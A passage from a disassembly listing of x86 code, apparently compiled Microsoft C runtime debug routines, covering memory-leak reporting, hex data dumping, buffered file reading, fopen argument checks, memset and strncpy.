pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A930 proc near ; CODE XREF: sub_41AD10+5Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_8], 0
push 9
call sub_41FB40
add esp, 4
loc_41A94A: ; CODE XREF: sub_41A930+3Ej
push offset aDumpingObjects ; "Dumping objects ->\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_41A96A
int 3 ; Trap to Debugger
loc_41A96A: ; CODE XREF: sub_41A930+37j
xor eax, eax
test eax, eax
jnz short loc_41A94A
cmp [ebp+arg_0], 0
jz short loc_41A97E
mov ecx, [ebp+arg_0]
mov edx, [ecx]
mov [ebp+var_8], edx
loc_41A97E: ; CODE XREF: sub_41A930+44j
mov eax, dword_4EF86C
mov [ebp+var_4], eax
jmp short loc_41A990
; ---------------------------------------------------------------------------
loc_41A988: ; CODE XREF: sub_41A930:loc_41ABADj
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov [ebp+var_4], edx
loc_41A990: ; CODE XREF: sub_41A930+56j
cmp [ebp+var_4], 0
jz loc_41ABB2
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jz loc_41ABB2
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 3
jz short loc_41A9E4
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
and ecx, 0FFFFh
test ecx, ecx
jz short loc_41A9E4
mov edx, [ebp+var_4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jnz short loc_41A9E9
mov ecx, dword_4510C0
and ecx, 10h
test ecx, ecx
jnz short loc_41A9E9
loc_41A9E4: ; CODE XREF: sub_41A930+85j
; sub_41A930+95j
jmp loc_41ABAD
; ---------------------------------------------------------------------------
loc_41A9E9: ; CODE XREF: sub_41A930+A5j
; sub_41A930+B2j
mov edx, [ebp+var_4]
cmp dword ptr [edx+8], 0
jz short loc_41AA62
push 0
push 1
mov eax, [ebp+var_4]
mov ecx, [eax+8]
push ecx
call sub_41A4A0
add esp, 0Ch
test eax, eax
jnz short loc_41AA33
loc_41AA09: ; CODE XREF: sub_41A930+FFj
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
push eax
push offset aFileErrorD ; "#File Error#(%d) : "
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_41AA2B
int 3 ; Trap to Debugger
loc_41AA2B: ; CODE XREF: sub_41A930+F8j
xor ecx, ecx
test ecx, ecx
jnz short loc_41AA09
jmp short loc_41AA62
; ---------------------------------------------------------------------------
loc_41AA33: ; CODE XREF: sub_41A930+D7j
; sub_41A930+130j
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+8]
push edx
push offset aHsD ; "%hs(%d) : "
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 1Ch
cmp eax, 1
jnz short loc_41AA5C
int 3 ; Trap to Debugger
loc_41AA5C: ; CODE XREF: sub_41A930+129j
xor eax, eax
test eax, eax
jnz short loc_41AA33
loc_41AA62: ; CODE XREF: sub_41A930+C0j
; sub_41A930+101j ...
mov ecx, [ebp+var_4]
mov edx, [ecx+18h]
push edx
push offset aLd ; "{%ld} "
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_41AA84
int 3 ; Trap to Debugger
loc_41AA84: ; CODE XREF: sub_41A930+151j
xor eax, eax
test eax, eax
jnz short loc_41AA62
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 4
jnz short loc_41AB0C
loc_41AA9B: ; CODE XREF: sub_41A930+1A7j
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
mov edx, [ebp+var_4]
mov eax, [edx+14h]
sar eax, 10h
and eax, 0FFFFh
push eax
mov ecx, [ebp+var_4]
add ecx, 20h
push ecx
push offset aClientBlockAt0 ; "client block at 0x%08X, subtype %x, %u "...
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 20h
cmp eax, 1
jnz short loc_41AAD3
int 3 ; Trap to Debugger
loc_41AAD3: ; CODE XREF: sub_41A930+1A0j
xor edx, edx
test edx, edx
jnz short loc_41AA9B
cmp dword_4F0FB8, 0
jz short loc_41AAFB
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
mov edx, [ebp+var_4]
add edx, 20h
push edx
call dword_4F0FB8
add esp, 8
jmp short loc_41AB07
; ---------------------------------------------------------------------------
loc_41AAFB: ; CODE XREF: sub_41A930+1B0j
mov eax, [ebp+var_4]
push eax
call sub_41ABF0
add esp, 4
loc_41AB07: ; CODE XREF: sub_41A930+1C9j
jmp loc_41ABAD
; ---------------------------------------------------------------------------
loc_41AB0C: ; CODE XREF: sub_41A930+169j
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 1
jnz short loc_41AB52
loc_41AB15: ; CODE XREF: sub_41A930+212j
mov edx, [ebp+var_4]
mov eax, [edx+10h]
push eax
mov ecx, [ebp+var_4]
add ecx, 20h
push ecx
push offset aNormalBlockAt0 ; "normal block at 0x%08X, %u bytes long.\n"...
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 1Ch
cmp eax, 1
jnz short loc_41AB3E
int 3 ; Trap to Debugger
loc_41AB3E: ; CODE XREF: sub_41A930+20Bj
xor edx, edx
test edx, edx
jnz short loc_41AB15
mov eax, [ebp+var_4]
push eax
call sub_41ABF0
add esp, 4
jmp short loc_41ABAD
; ---------------------------------------------------------------------------
loc_41AB52: ; CODE XREF: sub_41A930+1E3j
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 2
jnz short loc_41ABAD
loc_41AB63: ; CODE XREF: sub_41A930+26Fj
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
mov edx, [ebp+var_4]
mov eax, [edx+14h]
sar eax, 10h
and eax, 0FFFFh
push eax
mov ecx, [ebp+var_4]
add ecx, 20h
push ecx
push offset aCrtBlockAt0x08 ; "crt block at 0x%08X, subtype %x, %u byt"...
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 20h
cmp eax, 1
jnz short loc_41AB9B
int 3 ; Trap to Debugger
loc_41AB9B: ; CODE XREF: sub_41A930+268j
xor edx, edx
test edx, edx
jnz short loc_41AB63
mov eax, [ebp+var_4]
push eax
call sub_41ABF0
add esp, 4
loc_41ABAD: ; CODE XREF: sub_41A930:loc_41A9E4j
; sub_41A930:loc_41AB07j ...
jmp loc_41A988
; ---------------------------------------------------------------------------
loc_41ABB2: ; CODE XREF: sub_41A930+64j
; sub_41A930+70j
push 9
call sub_41FBE0
add esp, 4
loc_41ABBC: ; CODE XREF: sub_41A930+2B0j
push offset aObjectDumpComp ; "Object dump complete.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_41ABDC
int 3 ; Trap to Debugger
loc_41ABDC: ; CODE XREF: sub_41A930+2A9j
xor ecx, ecx
test ecx, ecx
jnz short loc_41ABBC
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41A930 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ABF0 proc near ; CODE XREF: sub_41A930+1CFp
; sub_41A930+218p ...
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_34 = byte ptr -34h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov [ebp+var_4C], 0
jmp short loc_41AC0B
; ---------------------------------------------------------------------------
loc_41AC02: ; CODE XREF: sub_41ABF0+D7j
mov eax, [ebp+var_4C]
add eax, 1
mov [ebp+var_4C], eax
loc_41AC0B: ; CODE XREF: sub_41ABF0+10j
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+10h], 10h
jge short loc_41AC1F
mov edx, [ebp+arg_0]
mov eax, [edx+10h]
mov [ebp+var_54], eax
jmp short loc_41AC26
; ---------------------------------------------------------------------------
loc_41AC1F: ; CODE XREF: sub_41ABF0+22j
mov [ebp+var_54], 10h
loc_41AC26: ; CODE XREF: sub_41ABF0+2Dj
mov ecx, [ebp+var_4C]
cmp ecx, [ebp+var_54]
jge loc_41ACCC
mov edx, [ebp+arg_0]
add edx, [ebp+var_4C]
mov al, [edx+20h]
mov byte ptr [ebp+var_50], al
cmp dword_4516A8, 1
jle short loc_41AC63
push 157h
mov ecx, [ebp+var_50]
and ecx, 0FFh
push ecx
call sub_421E50
add esp, 8
mov [ebp+var_58], eax
jmp short loc_41AC80
; ---------------------------------------------------------------------------
loc_41AC63: ; CODE XREF: sub_41ABF0+55j
mov edx, [ebp+var_50]
and edx, 0FFh
mov eax, off_45149C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 157h
mov [ebp+var_58], ecx
loc_41AC80: ; CODE XREF: sub_41ABF0+71j
cmp [ebp+var_58], 0
jz short loc_41AC94
mov edx, [ebp+var_50]
and edx, 0FFh
mov [ebp+var_5C], edx
jmp short loc_41AC9B
; ---------------------------------------------------------------------------
loc_41AC94: ; CODE XREF: sub_41ABF0+94j
mov [ebp+var_5C], 20h
loc_41AC9B: ; CODE XREF: sub_41ABF0+A2j
mov eax, [ebp+var_4C]
mov cl, byte ptr [ebp+var_5C]
mov [ebp+eax+var_48], cl
mov edx, [ebp+var_50]
and edx, 0FFh
push edx
push offset a_2x ; "%.2X "
mov eax, [ebp+var_4C]
imul eax, 3
lea ecx, [ebp+eax+var_34]
push ecx
call sub_41B740
add esp, 0Ch
jmp loc_41AC02
; ---------------------------------------------------------------------------
loc_41ACCC: ; CODE XREF: sub_41ABF0+3Cj
mov edx, [ebp+var_4C]
mov [ebp+edx+var_48], 0
loc_41ACD4: ; CODE XREF: sub_41ABF0+10Bj
lea eax, [ebp+var_34]
push eax
lea ecx, [ebp+var_48]
push ecx
push offset aDataSS ; " Data: <%s> %s\n"
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 1Ch
cmp eax, 1
jnz short loc_41ACF7
int 3 ; Trap to Debugger
loc_41ACF7: ; CODE XREF: sub_41ABF0+104j
xor edx, edx
test edx, edx
jnz short loc_41ACD4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41ABF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AD10 proc near ; CODE XREF: sub_41B600+B9p
var_34 = byte ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
lea eax, [ebp+var_34]
push eax
call sub_41A690
add esp, 4
cmp [ebp+var_20], 0
jnz short loc_41AD44
cmp [ebp+var_2C], 0
jnz short loc_41AD44
mov ecx, dword_4510C0
and ecx, 10h
test ecx, ecx
jz short loc_41AD7B
cmp [ebp+var_28], 0
jz short loc_41AD7B
loc_41AD44: ; CODE XREF: sub_41AD10+19j
; sub_41AD10+1Fj ...
push offset aDetectedMemory ; "Detected memory leaks!\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_41AD64
int 3 ; Trap to Debugger
loc_41AD64: ; CODE XREF: sub_41AD10+51j
xor edx, edx
test edx, edx
jnz short loc_41AD44
push 0
call sub_41A930
add esp, 4
mov eax, 1
jmp short loc_41AD7D
; ---------------------------------------------------------------------------
loc_41AD7B: ; CODE XREF: sub_41AD10+2Cj
; sub_41AD10+32j
xor eax, eax
loc_41AD7D: ; CODE XREF: sub_41AD10+69j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41AD10 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
cmp dword ptr [ebp+8], 0
jnz short loc_41ADA2
jmp loc_41AE4E
; ---------------------------------------------------------------------------
loc_41ADA2: ; CODE XREF: .nsp0:0041AD9Bj
mov dword ptr [ebp-4], 0
jmp short loc_41ADB4
; ---------------------------------------------------------------------------
loc_41ADAB: ; CODE XREF: .nsp0:0041ADFCj
mov eax, [ebp-4]
add eax, 1
mov [ebp-4], eax
loc_41ADB4: ; CODE XREF: .nsp0:0041ADA9j
cmp dword ptr [ebp-4], 5
jge short loc_41ADFE
loc_41ADBA: ; CODE XREF: .nsp0:0041ADFAj
mov ecx, [ebp-4]
mov edx, off_4510D0[ecx*4]
push edx
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov edx, [ecx+eax*4+4]
push edx
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov edx, [ecx+eax*4+18h]
push edx
push offset aLdBytesInLdHsB ; "%ld bytes in %ld %hs Blocks.\n"
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 20h
cmp eax, 1
jnz short loc_41ADF6
int 3 ; Trap to Debugger
loc_41ADF6: ; CODE XREF: .nsp0:0041ADF3j
xor eax, eax
test eax, eax
jnz short loc_41ADBA
jmp short loc_41ADAB
; ---------------------------------------------------------------------------
loc_41ADFE: ; CODE XREF: .nsp0:0041ADB8j
; .nsp0:0041AE24j
mov ecx, [ebp+8]
mov edx, [ecx+2Ch]
push edx
push offset aLargestNumberU ; "Largest number used: %ld bytes.\n"
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_41AE20
int 3 ; Trap to Debugger
loc_41AE20: ; CODE XREF: .nsp0:0041AE1Dj
xor eax, eax
test eax, eax
jnz short loc_41ADFE
loc_41AE26: ; CODE XREF: .nsp0:0041AE4Cj
mov ecx, [ebp+8]
mov edx, [ecx+30h]
push edx
push offset aTotalAllocatio ; "Total allocations: %ld bytes.\n"
push 0
push 0
push 0
push 0
call sub_41EED0
add esp, 18h
cmp eax, 1
jnz short loc_41AE48
int 3 ; Trap to Debugger
loc_41AE48: ; CODE XREF: .nsp0:0041AE45j
xor eax, eax
test eax, eax
jnz short loc_41AE26
loc_41AE4E: ; CODE XREF: .nsp0:0041AD9Dj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE60 proc near ; CODE XREF: sub_4010AB+45p
; sub_40EB56+4Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_C]
push eax
call sub_41ECE0
add esp, 4
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41AEA0
add esp, 10h
mov [ebp+var_4], eax
mov edx, [ebp+arg_C]
push edx
call sub_41ED50
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41AE60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AEA0 proc near ; CODE XREF: sub_41AE60+20p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 24h
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
imul ecx, [ebp+arg_8]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jnz short loc_41AEC9
xor eax, eax
jmp loc_41B06B
; ---------------------------------------------------------------------------
loc_41AEC9: ; CODE XREF: sub_41AEA0+20j
mov eax, [ebp+arg_C]
mov ecx, [eax+0Ch]
and ecx, 10Ch
test ecx, ecx
jz short loc_41AEE4
mov edx, [ebp+arg_C]
mov eax, [edx+18h]
mov [ebp+var_1C], eax
jmp short loc_41AEEB
; ---------------------------------------------------------------------------
loc_41AEE4: ; CODE XREF: sub_41AEA0+37j
mov [ebp+var_1C], 1000h
loc_41AEEB: ; CODE XREF: sub_41AEA0+42j
; sub_41AEA0:loc_41B063j
cmp [ebp+var_C], 0
jz loc_41B068
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
and edx, 10Ch
test edx, edx
jz short loc_41AF79
mov eax, [ebp+arg_C]
cmp dword ptr [eax+4], 0
jz short loc_41AF79
mov ecx, [ebp+arg_C]
mov edx, [ebp+var_C]
cmp edx, [ecx+4]
jnb short loc_41AF21
mov eax, [ebp+var_C]
mov [ebp+var_20], eax
jmp short loc_41AF2A
; ---------------------------------------------------------------------------
loc_41AF21: ; CODE XREF: sub_41AEA0+77j
mov ecx, [ebp+arg_C]
mov edx, [ecx+4]
mov [ebp+var_20], edx
loc_41AF2A: ; CODE XREF: sub_41AEA0+7Fj
mov eax, [ebp+var_20]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
push ecx
mov edx, [ebp+arg_C]
mov eax, [edx]
push eax
mov ecx, [ebp+var_8]
push ecx
call near ptr sub_41C8D0
add esp, 0Ch
mov edx, [ebp+var_C]
sub edx, [ebp+var_18]
mov [ebp+var_C], edx
mov eax, [ebp+arg_C]
mov ecx, [eax+4]
sub ecx, [ebp+var_18]
mov edx, [ebp+arg_C]
mov [edx+4], ecx
mov eax, [ebp+arg_C]
mov ecx, [eax]
add ecx, [ebp+var_18]
mov edx, [ebp+arg_C]
mov [edx], ecx
mov eax, [ebp+var_8]
add eax, [ebp+var_18]
mov [ebp+var_8], eax
jmp loc_41B063
; ---------------------------------------------------------------------------
loc_41AF79: ; CODE XREF: sub_41AEA0+63j
; sub_41AEA0+6Cj
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_1C]
jb loc_41B01E
cmp [ebp+var_1C], 0
jz short loc_41AF9D
mov eax, [ebp+var_C]
xor edx, edx
div [ebp+var_1C]
mov eax, [ebp+var_C]
sub eax, edx
mov [ebp+var_24], eax
jmp short loc_41AFA3
; ---------------------------------------------------------------------------
loc_41AF9D: ; CODE XREF: sub_41AEA0+E9j
mov ecx, [ebp+var_C]
mov [ebp+var_24], ecx
loc_41AFA3: ; CODE XREF: sub_41AEA0+FBj
mov edx, [ebp+var_24]
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+arg_C]
mov eax, [edx+10h]
push eax
call sub_422100
add esp, 0Ch
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_41AFE8
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
or edx, 10h
mov eax, [ebp+arg_C]
mov [eax+0Ch], edx
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp loc_41B06B
; ---------------------------------------------------------------------------
loc_41AFE8: ; CODE XREF: sub_41AEA0+127j
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41B00A
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
or edx, 20h
mov eax, [ebp+arg_C]
mov [eax+0Ch], edx
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp short loc_41B06B
; ---------------------------------------------------------------------------
loc_41B00A: ; CODE XREF: sub_41AEA0+14Cj
mov ecx, [ebp+var_C]
sub ecx, [ebp+var_14]
mov [ebp+var_C], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_14]
mov [ebp+var_8], edx
jmp short loc_41B063
; ---------------------------------------------------------------------------
loc_41B01E: ; CODE XREF: sub_41AEA0+DFj
mov eax, [ebp+arg_C]
push eax
call sub_421F10
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_41B040
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp short loc_41B06B
; ---------------------------------------------------------------------------
loc_41B040: ; CODE XREF: sub_41AEA0+191j
mov ecx, [ebp+var_8]
mov dl, byte ptr [ebp+var_4]
mov [ecx], dl
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_C]
sub ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+arg_C]
mov eax, [edx+18h]
mov [ebp+var_1C], eax
loc_41B063: ; CODE XREF: sub_41AEA0+D4j
; sub_41AEA0+17Cj
jmp loc_41AEEB
; ---------------------------------------------------------------------------
loc_41B068: ; CODE XREF: sub_41AEA0+4Fj
mov eax, [ebp+arg_8]
loc_41B06B: ; CODE XREF: sub_41AEA0+24j
; sub_41AEA0+143j ...
mov esp, ebp
pop ebp
retn
sub_41AEA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B070 proc near ; CODE XREF: sub_41B170+Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
loc_41B079: ; CODE XREF: sub_41B070+31j
cmp [ebp+arg_0], 0
jnz short loc_41B09D
push offset aFileNull ; "file != NULL"
push 0
push 35h
push offset aFopen_c ; "fopen.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41B09D
int 3 ; Trap to Debugger
loc_41B09D: ; CODE XREF: sub_41B070+Dj
; sub_41B070+2Aj
xor eax, eax
test eax, eax
jnz short loc_41B079
loc_41B0A3: ; CODE XREF: sub_41B070+5Fj
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_41B0CB
push offset aFile_t0 ; "*file != _T('\\0')"
push 0
push 36h
push offset aFopen_c ; "fopen.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41B0CB
int 3 ; Trap to Debugger
loc_41B0CB: ; CODE XREF: sub_41B070+3Bj
; sub_41B070+58j
xor eax, eax
test eax, eax
jnz short loc_41B0A3
loc_41B0D1: ; CODE XREF: sub_41B070+89j
cmp [ebp+arg_4], 0
jnz short loc_41B0F5
push offset aModeNull ; "mode != NULL"
push 0
push 37h
push offset aFopen_c ; "fopen.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41B0F5
int 3 ; Trap to Debugger
loc_41B0F5: ; CODE XREF: sub_41B070+65j
; sub_41B070+82j
xor ecx, ecx
test ecx, ecx
jnz short loc_41B0D1
loc_41B0FB: ; CODE XREF: sub_41B070+B7j
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_41B123
push offset aMode_t0 ; "*mode != _T('\\0')"
push 0
push 38h
push offset aFopen_c ; "fopen.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41B123
int 3 ; Trap to Debugger
loc_41B123: ; CODE XREF: sub_41B070+93j
; sub_41B070+B0j
xor ecx, ecx
test ecx, ecx
jnz short loc_41B0FB
call sub_422970
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41B13B
xor eax, eax
jmp short loc_41B165
; ---------------------------------------------------------------------------
loc_41B13B: ; CODE XREF: sub_41B070+C5j
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4225E0
add esp, 10h
mov [ebp+var_8], eax
mov eax, [ebp+var_4]
push eax
call sub_41ED50
add esp, 4
mov eax, [ebp+var_8]
loc_41B165: ; CODE XREF: sub_41B070+C9j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41B070 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B170 proc near ; CODE XREF: sub_4010AB+18p
; sub_401CC1+5081p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 40h
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41B070
add esp, 0Ch
pop ebp
retn
sub_41B170 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B190 proc near ; CODE XREF: .nsp0:0040120Ap
; .nsp0:00401218p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_41B1E3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_41B1D7
neg ecx
and ecx, 3
jz short loc_41B1B9
sub edx, ecx
loc_41B1B3: ; CODE XREF: sub_41B190+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_41B1B3
loc_41B1B9: ; CODE XREF: sub_41B190+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_41B1D7
rep stosd
test edx, edx
jz short loc_41B1DD
loc_41B1D7: ; CODE XREF: sub_41B190+18j
; sub_41B190+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_41B1D7
loc_41B1DD: ; CODE XREF: sub_41B190+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B1E3: ; CODE XREF: sub_41B190+Aj
mov eax, [esp+arg_0]
retn
sub_41B190 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B1F0 proc near ; CODE XREF: sub_40141B+499p
; sub_40141B+4B5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_41B273
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_41B214
shr ecx, 2
jnz short loc_41B281
jmp short loc_41B235
; ---------------------------------------------------------------------------
loc_41B214: ; CODE XREF: sub_41B1F0+1Bj
; sub_41B1F0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_41B242
test al, al
jz short loc_41B24A
test esi, 3
jnz short loc_41B214
mov ebx, ecx
shr ecx, 2
jnz short loc_41B281
loc_41B230: ; CODE XREF: sub_41B1F0+8Fj
and ebx, 3
jz short loc_41B242
loc_41B235: ; CODE XREF: sub_41B1F0+22j
; sub_41B1F0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41B26E
dec ebx
jnz short loc_41B235
loc_41B242: ; CODE XREF: sub_41B1F0+2Bj
; sub_41B1F0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B24A: ; CODE XREF: sub_41B1F0+2Fj
test edi, 3
jz short loc_41B264
loc_41B252: ; CODE XREF: sub_41B1F0+72j
mov [edi], al
inc edi
dec ecx
jz loc_41B2E6
test edi, 3
jnz short loc_41B252
loc_41B264: ; CODE XREF: sub_41B1F0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_41B2D7
loc_41B26B: ; CODE XREF: sub_41B1F0+7Fj
; sub_41B1F0+F4j
mov [edi], al
inc edi
loc_41B26E: ; CODE XREF: sub_41B1F0+4Dj
dec ebx
jnz short loc_41B26B
pop ebx
pop esi
loc_41B273: ; CODE XREF: sub_41B1F0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B279: ; CODE XREF: sub_41B1F0+A9j
; sub_41B1F0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41B230
loc_41B281: ; CODE XREF: sub_41B1F0+20j
; sub_41B1F0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41B279
test dl, dl
jz short loc_41B2CB
test dh, dh
jz short loc_41B2C1
test edx, 0FF0000h
jz short loc_41B2B7
test edx, 0FF000000h
jnz short loc_41B279
mov [edi], edx
jmp short loc_41B2CF
; ---------------------------------------------------------------------------
loc_41B2B7: ; CODE XREF: sub_41B1F0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41B2CF
; ---------------------------------------------------------------------------
loc_41B2C1: ; CODE XREF: sub_41B1F0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41B2CF
; ---------------------------------------------------------------------------
loc_41B2CB: ; CODE XREF: sub_41B1F0+ADj
xor edx, edx
mov [edi], edx
loc_41B2CF: ; CODE XREF: sub_41B1F0+C5j
; sub_41B1F0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_41B2E1
loc_41B2D7: ; CODE XREF: sub_41B1F0+79j
xor eax, eax
loc_41B2D9: ; CODE XREF: sub_41B1F0+EFj
mov [edi], eax
add edi, 4
